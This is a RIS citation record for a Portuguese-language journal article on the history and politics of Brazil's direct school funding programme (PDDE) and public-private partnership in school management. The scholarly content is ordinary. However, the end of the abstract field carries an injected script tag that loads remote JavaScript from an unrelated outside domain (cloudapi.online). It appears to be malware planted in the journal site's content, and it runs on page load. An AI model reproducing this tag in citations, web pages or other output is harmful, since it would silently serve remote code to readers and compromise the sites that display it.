TY - JOUR AU - Marinheiro, Edwylson de Lima AU - Ruiz, Maria José Ferreira PY - 2017/07/13 Y2 - 2024/03/29 TI - Percurso político e histórico do Programa Dinheiro Direto na Escola e a parceria público-privada na gestão escolar JF - Revista HISTEDBR On-line JA - Rev. HISTEDBR On-line VL - 17 IS - 1 SE - Artigos DO - 10.20396/rho.v17i71.8643987 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/histedbr/article/view/8643987 SP - 274-289 AB - <p>O Programa Dinheiro Direto na Escola (PDDE), elaborado na década de 1990, é um programa que utiliza o mecanismo de transferência de recursos financeiros da União para escolas públicas. Tal programa, busca ampliar a autonomia da gestão da escola para administrar diretamente os recursos destinados à manutenção de sua infraestrutura física e pedagógica. Diante disso, o objetivo deste texto é explicitar os princípios e fundamentos históricos, políticos e econômicos do PDDE e suas implicações para a gestão escolar. A questão norteadora do texto gira em torno de buscar responder se o PDDE tem contribuído para democratizar a gestão da escola pública. Como procedimentos de estudo utilizamos a pesquisa bibliográfica e a pesquisa documental. A pesquisa é embasado em vários autores que se debruçam sobre o tema em tela, a exemplo de Adrião e Peroni (2007a), Shiroma; Moraes; Evangelista (2000), Vieira (2013), Branco (2006), Santana (2011) e outros. Conclui que o PDDE, mesmo sendo um recurso público, favorece o fortalecimento das parcerias público-privadas.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -